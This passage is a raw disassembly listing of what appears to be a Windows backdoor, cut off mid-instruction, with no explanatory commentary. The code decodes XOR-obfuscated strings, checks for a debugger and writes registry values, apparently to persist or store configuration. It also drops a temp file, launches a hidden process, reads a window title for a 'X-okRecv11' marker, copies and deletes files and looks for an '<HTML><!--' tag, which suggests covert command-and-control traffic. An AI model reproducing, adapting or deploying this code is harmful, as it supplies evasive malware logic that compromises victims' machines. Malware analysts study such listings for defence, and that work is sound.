[ebp+var_1F40] push eax push ebx call sub_40BE48 ; FindNextUrlCacheEntryA or eax, eax jz short loc_4055F0 mov [ebp+var_2F6C], 1B2Ch inc [ebp+var_2F6C] lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40CDE8 add esp, 8 or eax, eax jnz short loc_4055EE call sub_40C9D4 ; GetVersion push [ebp+var_1F38] push [ebp+arg_4] call sub_40C8DC call sub_40C9C8 ; GetTickCount xor eax, eax inc eax jmp short loc_4055F2 ; --------------------------------------------------------------------------- loc_4055EE: ; CODE XREF: sub_405415+1BAj jmp short loc_40557C ; --------------------------------------------------------------------------- loc_4055F0: ; CODE XREF: sub_405415+191j xor eax, eax loc_4055F2: ; CODE XREF: sub_405415+118j ; sub_405415+165j ... pop edi pop esi pop ebx leave retn sub_405415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055F7 proc near ; CODE XREF: sub_4056CB+5ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov ebx, [ebp+arg_0] mov ax, word_44230E mov [ebp+var_E], ax push ebx call sub_40CB60 ; lstrlen mov [ebp+var_8], eax call sub_40C938 ; GetCurrentProcessId mov edi, [ebp+var_8] shl edi, 1 add edi, 8 push edi push 40h call sub_40CA7C ; LocalAlloc mov [ebp+var_C], eax call sub_40C944 ; GetCurrentThreadId xor esi, esi jmp short loc_40564D ; --------------------------------------------------------------------------- loc_405637: ; CODE XREF: sub_4055F7+59j movzx eax, byte ptr [ebx+esi] xor eax, 71h or eax, eax jz short loc_40564C movzx eax, byte ptr [ebx+esi] xor eax, 71h mov [ebx+esi], al loc_40564C: ; CODE XREF: sub_4055F7+49j inc esi loc_40564D: ; CODE XREF: sub_4055F7+3Ej cmp esi, [ebp+var_8] jb short loc_405637 call sub_40CA58 ; IsDebuggerPresent mov [ebp+var_2], 0 jmp short loc_4056B5 ; --------------------------------------------------------------------------- loc_40565F: ; CODE XREF: sub_4055F7+C5j push 6 push offset a5c5s5s ; "5c5s5s" call sub_40531B mov [ebp+var_14], eax movzx edi, [ebp+var_2] movzx edi, byte ptr [ebx+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_18], edx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_C] push edi mov esi, [ebp+var_14] push esi push edi call sub_40CE54 add esp, 1Ch inc [ebp+var_2] loc_4056B5: ; CODE XREF: sub_4055F7+66j movzx eax, [ebp+var_2] cmp eax, [ebp+var_8] jb short loc_40565F call sub_40C938 ; GetCurrentProcessId mov eax, [ebp+var_C] pop edi pop esi pop ebx leave retn sub_4055F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056CB proc near ; CODE XREF: sub_4063C4+155p var_300A4 = dword ptr -300A4h var_300A0 = dword ptr -300A0h var_3009C = dword ptr -3009Ch var_30098 = dword ptr -30098h var_30091 = byte ptr -30091h var_30090 = dword ptr -30090h var_3008C = dword ptr -3008Ch var_30088 = dword ptr -30088h var_30084 = dword ptr -30084h var_30080 = dword ptr -30080h var_3007C = dword ptr -3007Ch var_30078 = dword ptr -30078h var_30072 = byte ptr -30072h var_3006D = byte ptr -3006Dh var_3006A = byte ptr -3006Ah var_30069 = byte ptr -30069h var_30066 = word ptr -30066h var_30064 = byte ptr -30064h var_30061 = byte ptr -30061h var_30060 = byte ptr -30060h var_3005A = byte ptr -3005Ah var_30054 = word ptr -30054h var_30052 = word ptr -30052h var_30050 = dword ptr -30050h var_30049 = byte ptr -30049h var_30048 = dword ptr -30048h var_30044 = dword ptr -30044h var_3003F = byte ptr -3003Fh var_3003E = byte ptr -3003Eh var_3003D = byte ptr -3003Dh var_30033 = byte ptr -30033h var_30029 = byte ptr -30029h var_30028 = dword ptr -30028h var_30022 = word ptr -30022h var_30020 = dword ptr -30020h var_30019 = byte ptr -30019h var_30018 = word ptr -30018h var_30015 = byte ptr -30015h var_30014 = dword ptr -30014h var_30010 = dword ptr -30010h var_3000C = byte ptr -3000Ch var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20003 = byte ptr -20003h var_10004 = dword ptr -10004h var_10000 = byte ptr -10000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 300A4h call sub_40C8BC push ebx push esi push edi mov [ebp+var_30022], 1210h add [ebp+var_30022], 4A18h and [ebp+var_30020], 0 call sub_40C9D4 ; GetVersion and [ebp+var_2000C], 0 and [ebp+var_30014], 0 lea eax, [ebp+var_10004] push eax push [ebp+arg_4] call sub_401AF1 add esp, 8 mov ebx, eax call sub_40C998 ; GetProcessHeap mov eax, [ebp+var_10004] or eax, eax jz short loc_405733 or ebx, ebx jz short loc_405733 cmp [ebp+arg_14], eax jb short loc_405764 loc_405733: ; CODE XREF: sub_4056CB+5Dj ; sub_4056CB+61j mov [ebp+var_3006D], 37h sub [ebp+var_3006D], 87h push ebx call sub_40CA88 ; LocalFree lea edi, [ebp+var_30072] lea esi, aEq ; "`EQ-" mov ecx, 5 rep movsb mov [ebp+var_30020], 1 loc_405764: ; CODE XREF: sub_4056CB+66j push [ebp+arg_C] call sub_40CB60 ; lstrlen mov [ebp-30070h], eax mov eax, 64h mul [ebp+var_10004] mov [ebp-30074h], eax mov edi, [ebp-30070h] imul edi, [ebp-30070h], 32h mov esi, [ebp-30074h] lea edi, [esi+edi+1000h] push edi push 40h call sub_40CA7C ; LocalAlloc mov [ebp+var_20008], eax mov ax, word_442315 mov [ebp+var_30052], ax mov ax, word_442317 mov [ebp+var_30054], ax push [ebp+arg_0] push 104h call sub_40C9BC ; GetTempPathA mov [ebp+var_30029], 14h add [ebp+var_30029], 42h mov eax, [ebp+arg_0] mov [ebp+var_30078], eax mov ecx, eax or eax, 0FFFFFFFFh loc_4057EE: ; CODE XREF: sub_4056CB+128j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4057EE mov edi, eax mov esi, 12h sub esi, dword_4422E0 push esi mov esi, [ebp+var_30078] add esi, edi push esi call sub_401777 add esp, 8 call sub_40C9D4 ; GetVersion push 4 push offset aXd ; ">xd}" call sub_40531B add esp, 8 push eax push [ebp+arg_0] call sub_40CE78 add esp, 8 call sub_40C944 ; GetCurrentThreadId lea edi, [ebp+var_3005A] lea esi, aQbj8 ; "qj>8" mov ecx, 6 rep movsb push 6 push offset aXd_ ; ",xd}|." call sub_40531B add esp, 8 push eax push [ebp+var_20008] call sub_404A48 add esp, 8 lea edi, [ebp+var_30060] lea esi, aWfzvk ; "WfZvk" mov ecx, 6 rep movsb push 6 push offset aXuqt_ ; ",xuqt." call sub_40531B add esp, 8 push eax push [ebp+var_20008] call sub_404A48 add esp, 8 push 13h push offset aDydU_5c5e?dydU ; ",dyd|u.5c5e,?dyd|u." call sub_40531B add esp, 8 push [ebp+arg_1C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_20003] push edi call sub_40CE54 add esp, 10h lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A48 add esp, 8 call sub_40C968 ; RtlGetLastWin32Error push 7 push offset a?xuqt_ ; ",?xuqt." call sub_40531B add esp, 8 push eax push [ebp+var_20008] call sub_404A48 add esp, 8 push 6 push offset byte_447377 call sub_40531B add esp, 8 push eax push [ebp+var_20008] call sub_404A48 add esp, 8 call sub_40C9D4 ; GetVersion lea edi, [ebp+var_30061] lea esi, byte_442325 mov ecx, 1 rep movsb push 5 push offset aV5E ; "v5>#e" call sub_40531B add esp, 8 mov [ebp+var_3007C], eax call sub_40CE3C mov ecx, 3E8h cdq idiv ecx push edx mov edi, [ebp+var_3007C] push [ebp+var_3007C] lea edi, [ebp+var_30033] push edi call sub_40CE54 add esp, 0Ch push 2Ah push offset word_447346 call sub_40531B add esp, 8 lea edi, [ebp+var_30033] push edi push [ebp+arg_8] push eax lea edi, [ebp+var_20003] push edi call sub_40CE54 add esp, 10h lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A48 add esp, 8 call sub_40C998 ; GetProcessHeap push 2Dh push offset dword_447318 call sub_40531B add esp, 8 mov [ebp+var_30080], eax call sub_40CE3C mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 14h push edi mov edi, [ebp+var_30080] push [ebp+var_30080] lea edi, [ebp+var_20003] push edi call sub_40CE54 add esp, 0Ch mov [ebp+var_30015], 7Bh loc_4059FB: ; DATA XREF: .data:off_446ACEo movzx eax, [ebp+var_30015] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30015], al lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A48 add esp, 8 cmp [ebp+var_30020], 0 jnz loc_405D50 call sub_40C998 ; GetProcessHeap cmp [ebp+arg_18], 0 jz loc_405BC9 lea edi, [ebp+var_3008C+2] lea esi, a9osO ; "9Os,O" mov ecx, 3 rep movsw and [ebp+var_30084], 0 jmp loc_405BAC ; --------------------------------------------------------------------------- loc_405A5F: ; CODE XREF: sub_4056CB+4EDj call sub_40CA58 ; IsDebuggerPresent mov [ebp+var_10000], 0 mov [ebp+var_30091], 40h movzx eax, [ebp+var_30091] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30091], al and [ebp+var_30090], 0 jmp loc_405B4E ; --------------------------------------------------------------------------- loc_405A91: ; CODE XREF: sub_4056CB+48Dj mov [ebp+var_3009C], 64Bh add [ebp+var_3009C], 2E2Ah mov eax, [ebp+var_30084] add eax, [ebp+var_30090] cmp eax, [ebp+var_10004] jnb loc_405B5E call sub_40C968 ; RtlGetLastWin32Error push 6 push offset a5c5s5s ; "5c5s5s" call sub_40531B mov [ebp+var_300A0], eax mov edi, [ebp+var_30084] add edi, [ebp+var_30090] movzx edi, byte ptr [ebx+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_300A4], edx mov edi, edx add edi, 61h push edi lea edi, [ebp+var_10000] push edi mov edi, [ebp+var_300A0] push edi lea edi, [ebp+var_10000] push edi call sub_40CE54 add esp, 1Ch mov [ebp+var_30098], 949h mov eax, [ebp+var_30098] mov edx, eax add edx, eax mov [ebp+var_30098], edx inc [ebp+var_30090] loc_405B4E: ; CODE XREF: sub_4056CB+3C1j cmp [ebp+var_30090], 80h jb loc_405A91 loc_405B5E: ; CODE XREF: sub_4056CB+3ECj push 30h push offset byte_4472E7 call sub_40531B push [ebp+var_2000C] push [ebp+arg_10] lea edi, [ebp+var_10000] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40CE54 lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A48 add esp, 24h add [ebp+var_30084], 80h inc [ebp+var_2000C] loc_405BAC: ; CODE XREF: sub_4056CB+38Fj mov eax, [ebp+var_10004] cmp [ebp+var_30084], eax jb loc_405A5F mov [ebp+var_30014], eax jmp loc_405D50 ; --------------------------------------------------------------------------- loc_405BC9: ; CODE XREF: sub_4056CB+36Ej call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+arg_14] mov [ebp+var_10004], eax jmp loc_405D2C ; --------------------------------------------------------------------------- loc_405BDC: ; CODE XREF: sub_4056CB+67Fj call sub_40C968 ; RtlGetLastWin32Error cmp [ebp+var_10000], 0 jz loc_405D2C mov eax, [ebp+arg_14] add eax, 0C800h cmp [ebp+var_10004], eax jnb loc_405D50 call sub_40C944 ; GetCurrentThreadId mov eax, [ebp+var_10004] mov [ebp+var_30014], eax push 3 push offset a5cl ; "5cl" call sub_40531B push [ebp+arg_C] push eax lea edi, [ebp+var_3000C] push edi call sub_40CE54 add esp, 14h lea ecx, [ebp+var_3000C] or eax, 0FFFFFFFFh loc_405C3B: ; CODE XREF: sub_4056CB+575j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_405C3B mov edi, eax mov word ptr [ebp+var_3008C], di call sub_40C998 ; GetProcessHeap lea eax, [ebp+var_10000] push eax movzx eax, word ptr [ebp+var_3008C] lea eax, [ebp+eax+var_3000C] push eax call sub_40C8DC call sub_40C968 ; RtlGetLastWin32Error lea eax, [ebp+var_3000C] push eax call sub_4055F7 add esp, 4 mov [ebp+var_30010], eax mov byte ptr [ebp+var_30088+3], 0F3h sub byte ptr [ebp+var_30088+3], 0AFh push 30h push offset byte_4472E7 call sub_40531B add esp, 8 push [ebp+var_2000C] push [ebp+arg_10] push [ebp+var_30010] push eax lea edi, [ebp+var_20003] push edi call sub_40CE54 add esp, 14h mov word ptr [ebp+var_30088], 423Dh movzx eax, word ptr [ebp+var_30088] imul eax, 6872h mov word ptr [ebp+var_30088], ax lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A48 add esp, 8 mov byte ptr [ebp+var_3008C+3], 2Dh add byte ptr [ebp+var_3008C+3], 6Dh push [ebp+var_30010] call sub_40CA88 ; LocalFree mov [ebp+var_30084], 96Ah mov eax, [ebp+var_30084] mov edx, eax add edx, eax mov [ebp+var_30084], edx inc [ebp+var_2000C] loc_405D2C: ; CODE XREF: sub_4056CB+50Cj ; sub_4056CB+51Dj lea eax, [ebp+var_10000] push eax push [ebp+var_10004] push ebx call sub_401C68 add esp, 0Ch mov [ebp+var_10004], eax or eax, eax jnz loc_405BDC loc_405D50: ; CODE XREF: sub_4056CB+35Fj ; sub_4056CB+4F9j ... push 1Eh push offset aYEd0diU2cerYd2 ; ",y~`ed0di`u-2cer}yd20fq|eu-77." call sub_40531B push eax push [ebp+var_20008] call sub_404A48 mov [ebp+var_30018], 586Ch movzx eax, [ebp+var_30018] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30018], ax push 7 push offset dword_4472BC call sub_40531B push eax push [ebp+var_20008] call sub_404A48 push 8 push offset aCsbyD_ ; ",csby`d." call sub_40531B push eax push [ebp+var_20008] call sub_40472A mov [ebp+var_30019], 0F3h movzx eax, [ebp+var_30019] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30019], al lea edi, [ebp+var_30064] lea esi, aI? ; "i?" mov ecx, 3 rep movsb push 6 push offset a5s5E ; "5s5>\"e" call sub_40531B mov [ebp+var_30084], eax call sub_40CE3C mov [ebp+var_30088], eax call sub_40CE3C mov ecx, 63h cdq idiv ecx push edx mov edi, [ebp+var_30088] mov eax, edi mov ecx, 14h cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_30084] push edi lea edi, [ebp+var_3003D] push edi call sub_40CE54 mov [ebp+var_3003E], 75h add [ebp+var_3003E], 10h push 0Eh push offset byte_44729D call sub_40531B lea edi, [ebp+var_3003D] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40CE54 mov [ebp+var_3003F], 0C7h add [ebp+var_3003F], 0Dh lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40472A push 15h push offset byte_447287 call sub_40531B lea edi, [ebp+var_30033] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40CE54 mov ax, word_44232F mov [ebp+var_30066], ax lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40472A lea edi, [ebp+var_30069] lea esi, byte_442331 mov ecx, 3 rep movsb push 1 push offset byte_447285 call sub_40531B push eax push [ebp+var_20008] call sub_40472A mov [ebp+var_30044], 2BB7h inc [ebp+var_30044] push 16h push offset word_44726E call sub_40531B mov [ebp+var_3008C], eax call sub_40CE3C mov ecx, 3E8h cdq idiv ecx mov edi, edx add edi, 2710h push edi lea edi, [ebp+var_3003D] push edi mov edi, [ebp+var_3008C] push edi lea edi, [ebp+var_20003] push edi call sub_40CE54 mov [ebp+var_30048], 24FBh add [ebp+var_30048], 6063h lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_40472A mov [ebp+var_30049], 0F4h sub [ebp+var_30049], 0C6h push 9 push offset a?csbyD_ ; ",?csby`d." call sub_40531B push eax push [ebp+var_20008] call sub_404A48 call sub_40C938 ; GetCurrentProcessId push 7 push offset dword_44725C call sub_40531B push eax push [ebp+var_20008] call sub_404A48 push 7 push offset a?xd_ ; ",?xd}|." call sub_40531B push eax push [ebp+var_20008] call sub_40CE78 lea edi, [ebp+var_3006A] lea esi, byte_442334 xor ecx, ecx inc ecx rep movsb push [ebp+arg_0] call sub_403530 add esp, 0E4h mov [ebp+var_30050], 5527h sub [ebp+var_30050], 0A57h push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+arg_0] call sub_40CAD0 ; CreateFileA mov [ebp+var_30028], eax call sub_40C998 ; GetProcessHeap push [ebp+var_20008] call sub_40CB60 ; lstrlen push 0 lea edi, [ebp+var_2000C] push edi push eax push [ebp+var_20008] push [ebp+var_30028] call sub_40CB48 ; WriteFile push [ebp+var_30028] call sub_40C9B0 ; CloseHandle push [ebp+var_20008] call sub_40CA88 ; LocalFree cmp [ebp+var_30020], 0 jnz short loc_406063 push ebx call sub_40CA88 ; LocalFree jmp short loc_406068 ; --------------------------------------------------------------------------- loc_406063: ; CODE XREF: sub_4056CB+98Ej or eax, 0FFFFFFFFh jmp short loc_40606E ; --------------------------------------------------------------------------- loc_406068: ; CODE XREF: sub_4056CB+996j mov eax, [ebp+var_30014] loc_40606E: ; CODE XREF: sub_4056CB+99Bj pop edi pop esi pop ebx leave retn sub_4056CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406073 proc near ; CODE XREF: sub_4063C4:loc_4064CBp var_2114 = word ptr -2114h var_2112 = byte ptr -2112h var_1113 = byte ptr -1113h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = word ptr -110h var_10E = byte ptr -10Eh var_10D = byte ptr -10Dh var_108 = dword ptr -108h var_101 = byte ptr -101h var_100 = byte ptr -100h push ebp mov ebp, esp mov eax, 2114h call sub_40C8BC push ebx push esi push edi lea edi, [ebp+var_10D] lea esi, aQu_d ; "qu.d" mov ecx, 5 rep movsb call sub_40C944 ; GetCurrentThreadId lea edi, [ebp+var_10E] lea esi, byte_44233A xor ecx, ecx inc ecx rep movsb and [ebp+var_108], 0 mov [ebp+var_101], 0 jmp loc_40620C ; --------------------------------------------------------------------------- loc_4060BF: ; CODE XREF: sub_406073+1A1j lea edi, [ebp+var_118+1] lea esi, byte_44233B mov ecx, 7 rep movsb push 44h push offset byte_44720F call sub_40531B movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40CE54 lea edi, [ebp+var_11C+2] lea esi, word_442342 mov ecx, 3 rep movsb push 4 push offset asc_44720A ; "!& !" call sub_40531B push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_401614 call sub_40C9C8 ; GetTickCount push 4 push offset asc_44720A ; "!& !" call sub_40531B push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_401614 mov [ebp+var_110], 1736h movzx eax, [ebp+var_110] imul eax, 5FBBh mov [ebp+var_110], ax push 4Dh push offset dword_4471BC call sub_40531B movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40CE54 mov ax, word_442345 mov word ptr [ebp+var_11C], ax push 4 push offset asc_44720A ; "!& !" call sub_40531B push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_401614 push 4 push offset asc_44720A ; "!& !" call sub_40531B push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_401614 add esp, 0A8h call sub_40C9C8 ; GetTickCount add [ebp+var_101], 1 loc_40620C: ; CODE XREF: sub_406073+47j mov al, [ebp+var_101] cmp al, 5 jb loc_4060BF call sub_40C9D4 ; GetVersion cmp eax, 80000000h jb short loc_40629F mov [ebp+var_114], 3672h mov eax, [ebp+var_114] mov edx, eax add edx, eax mov [ebp+var_114], edx push 4Ch push offset byte_44716F call sub_40531B mov [ebp+var_118], eax push 10h push offset word_44715E call sub_40531B mov [ebp+var_11C], eax push 3 push offset word_44715A call sub_40531B push 1 mov edi, 0Eh sub edi, dword_4422E0 push edi push eax mov edi, [ebp+var_11C] push edi mov edi, [ebp+var_118] push edi push 80000003h call sub_401614 add esp, 30h jmp loc_40632C ; --------------------------------------------------------------------------- loc_40629F: ; CODE XREF: sub_406073+1B1j mov byte ptr [ebp+var_110+1], 0D4h add byte ptr [ebp+var_110+1], 1 mov ax, word_442347 mov [ebp+var_2114], ax lea eax, [ebp+var_1113] push eax call sub_405249 call sub_40C944 ; GetCurrentThreadId push 59h push offset dword_447100 call sub_40531B lea edi, [ebp+var_1113] push edi push eax lea edi, [ebp+var_2112] push edi call sub_40CE54 mov byte ptr [ebp+var_110], 0F1h add byte ptr [ebp+var_110], 45h and [ebp+var_114], 0 push 0Ch push offset byte_4470F3 call sub_40531B push 4 push 4 lea edi, [ebp+var_114] push edi push eax lea edi, [ebp+var_2112] push edi push 80000003h call sub_401614 add esp, 38h loc_40632C: ; CODE XREF: sub_406073+227j push 3Bh push offset byte_4470B7 call sub_40531B mov [ebp+var_114], eax push 11h push offset byte_4470A5 call sub_40531B push 4 push 4 lea edi, [ebp+var_108] push edi push eax mov edi, [ebp+var_114] push edi push 80000001h call sub_401614 mov ebx, 45ADh sub ebx, 884h push 33h push offset byte_447071 call sub_40531B push 1 push 0 push offset byte_447569 push offset byte_447569 push eax push 80000001h call sub_401614 push 3Bh push offset byte_447035 call sub_40531B push 1 push 0 push offset byte_447569 push offset byte_447569 push eax push 80000001h call sub_401614 add esp, 68h pop edi pop esi pop ebx leave retn sub_406073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063C4 proc near ; CODE XREF: sub_409A96+287p ; sub_409A96+5E4p ... var_3AC = dword ptr -3ACh var_3A5 = byte ptr -3A5h var_2A1 = byte ptr -2A1h var_29B = byte ptr -29Bh var_294 = word ptr -294h var_292 = byte ptr -292h var_291 = byte ptr -291h var_290 = dword ptr -290h var_28A = word ptr -28Ah var_288 = byte ptr -288h var_282 = byte ptr -282h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26B = byte ptr -26Bh var_26A = word ptr -26Ah var_268 = dword ptr -268h var_264 = word ptr -264h var_262 = word ptr -262h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_250 = byte ptr -250h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 3ACh push ebx push esi push edi mov [ebp+var_262], 1CB7h movzx eax, [ebp+var_262] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_262], ax and [ebp+var_14C], 0 mov [ebp+var_264], 40B8h movzx eax, [ebp+var_264] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_264], ax xor ebx, ebx lea edi, [ebp+var_282] lea esi, aLum_ ; "lum&_" mov ecx, 3 rep movsw push offset dword_4422E8 call sub_40CA34 ; InterlockedIncrement mov [ebp+var_270], eax push 10h push 0 lea eax, [ebp+var_260] push eax call sub_40CE24 mov [ebp+var_274], 104h call sub_40C9D4 ; GetVersion push 21h push offset byte_447013 call sub_40531B mov [ebp+var_290], eax push 4 push offset a@qdx ; "@qdx" call sub_40531B lea edi, [ebp+var_288] push edi lea edi, [ebp+var_274] push edi lea edi, [ebp+var_250] push edi push eax mov edi, [ebp+var_290] push edi push 80000002h call sub_4014CB add esp, 34h mov [ebp+var_278], eax call sub_40C944 ; GetCurrentThreadId cmp [ebp+var_278], 0 jnz short loc_4064CB call sub_40C9D4 ; GetVersion push [ebp+arg_0] call sub_40CA88 ; LocalFree call sub_40C938 ; GetCurrentProcessId xor eax, eax jmp loc_406932 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_4063C4+ECj call sub_406073 call sub_40C968 ; RtlGetLastWin32Error push 104h lea eax, [ebp+var_104] push eax lea eax, [ebp+var_250] push eax call sub_40C920 ; ExpandEnvironmentStringsA mov ax, word_44234F mov [ebp+var_28A], ax push [ebp+var_270] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_4056CB add esp, 20h mov [ebp+var_14C], eax cmp [ebp+arg_1C], 0 jz short loc_406545 cmp eax, 0FFFFFFFFh jz short loc_40653F mov eax, [ebp+arg_1C] mov edx, [ebp+var_14C] mov [eax], edx jmp short loc_406545 ; --------------------------------------------------------------------------- loc_40653F: ; CODE XREF: sub_4063C4+16Cj mov eax, [ebp+arg_1C] and dword ptr [eax], 0 loc_406545: ; CODE XREF: sub_4063C4+167j ; sub_4063C4+179j cmp [ebp+var_14C], 0 jnz short loc_40657C call sub_40C9C8 ; GetTickCount push [ebp+arg_0] call sub_40CA88 ; LocalFree mov [ebp+var_291], 88h movzx eax, [ebp+var_291] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_291], al xor eax, eax jmp loc_406932 ; --------------------------------------------------------------------------- loc_40657C: ; CODE XREF: sub_4063C4+188j push 0Eh push offset byte_446FFF call sub_40531B push eax lea edi, [ebp+var_104] push edi call sub_40CE78 lea eax, [ebp+var_250] push eax lea eax, [ebp+var_104] push eax call sub_40CE78 call sub_4045BD mov [ebp+var_27C], eax call sub_40C9C8 ; GetTickCount push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CE24 mov [ebp+var_268], 511Dh add [ebp+var_268], 4C5Ah push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CE24 add esp, 30h mov [ebp+var_26A], 0A15h sub [ebp+var_26A], 1A5Fh mov [ebp+var_148], 44h mov [ebp+var_11C], 1 mov [ebp+var_118], 1 cmp [ebp+var_27C], 0 jz short loc_406636 lea eax, [ebp+var_148] push eax call sub_40466A pop ecx jmp short loc_40663F ; --------------------------------------------------------------------------- loc_406636: ; CODE XREF: sub_4063C4+261j mov [ebp+var_118], 0 loc_40663F: ; CODE XREF: sub_4063C4+270j lea eax, [ebp+var_260] push eax lea eax, [ebp+var_148] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_40CB78 ; CreateProcessA or eax, eax jz loc_4068CB call sub_40CA58 ; IsDebuggerPresent push [ebp+var_25C] call sub_40C9B0 ; CloseHandle call sub_40C938 ; GetCurrentProcessId push 22h push offset dword_446FDC call sub_40531B push [ebp+var_270] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_104] push edi call sub_40CE54 add esp, 18h mov [ebp+var_292], 33h movzx eax, [ebp+var_292] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_292], al mov [ebp+var_291], 0 jmp short loc_406729 ; --------------------------------------------------------------------------- loc_4066CE: ; CODE XREF: sub_4063C4+36Dj call sub_40C968 ; RtlGetLastWin32Error push 7 push offset aYuvbqU ; "YUVbq}u" call sub_40531B add esp, 8 lea edi, [ebp+var_104] push edi push eax call sub_40CBB4 ; FindWindowA mov ebx, eax or ebx, ebx jnz short loc_406733 mov eax, dword_4422DC add eax, 3E2h push eax call sub_40CAF4 ; Sleep mov [ebp+var_294], 6F4Fh movzx eax, [ebp+var_294] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_294], ax add [ebp+var_291], 1 loc_406729: ; CODE XREF: sub_4063C4+308j mov al, [ebp+var_291] cmp al, 0Ah jb short loc_4066CE loc_406733: ; CODE XREF: sub_4063C4+32Fj or ebx, ebx jz loc_4068BD call sub_40C9D4 ; GetVersion push 0EA60h call sub_40CAF4 ; Sleep lea edi, [ebp+var_294+1] lea esi, byte_442351 xor ecx, ecx inc ecx rep movsb push 104h lea eax, [ebp+var_104] push eax push ebx call sub_40CB9C ; GetWindowTextA lea edi, [ebp+var_29B] lea esi, aFucxB6 ; "FUCX'b6" movsd movsd mov eax, 0Bh sub eax, dword_4422E0 push eax push offset aXOkrecv11 ; "X-okRecv11" lea eax, [ebp+var_104] push eax call sub_401883 add esp, 0Ch cmp eax, 0FFFFh jz loc_4068AF call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_2A1] lea esi, aDr ; "&:&dr" mov ecx, 3 rep movsw call sub_40C9D4 ; GetVersion lea eax, [ebp+var_3A5] push eax push [ebp+arg_4] call sub_405415 add esp, 8 or eax, eax jz loc_40689E call sub_40CA58 ; IsDebuggerPresent push 0 push [ebp+arg_8] lea eax, [ebp+var_3A5] push eax call sub_40CA70 ; CopyFileA call sub_40CA58 ; IsDebuggerPresent lea eax, [ebp+var_14C] push eax push [ebp+arg_8] call sub_401AF1 mov [ebp+var_3AC], eax call sub_40C998 ; GetProcessHeap push [ebp+arg_8] call sub_40C908 ; DeleteFileA call sub_40C9D4 ; GetVersion push offset aHtml ; "<HTML><!--" call sub_40CB60 ; lstrlen push eax push offset aHtml ; "<HTML><!--" push [ebp+var_3AC] call sub_40CE90 add esp, 14h or eax, eax jnz short loc_40686C push offset aHtml ; "<HTML><!--" call sub_40CB60 ; lstrlen mov edi, [ebp+var_14C] sub edi, 3Ah push edi mov 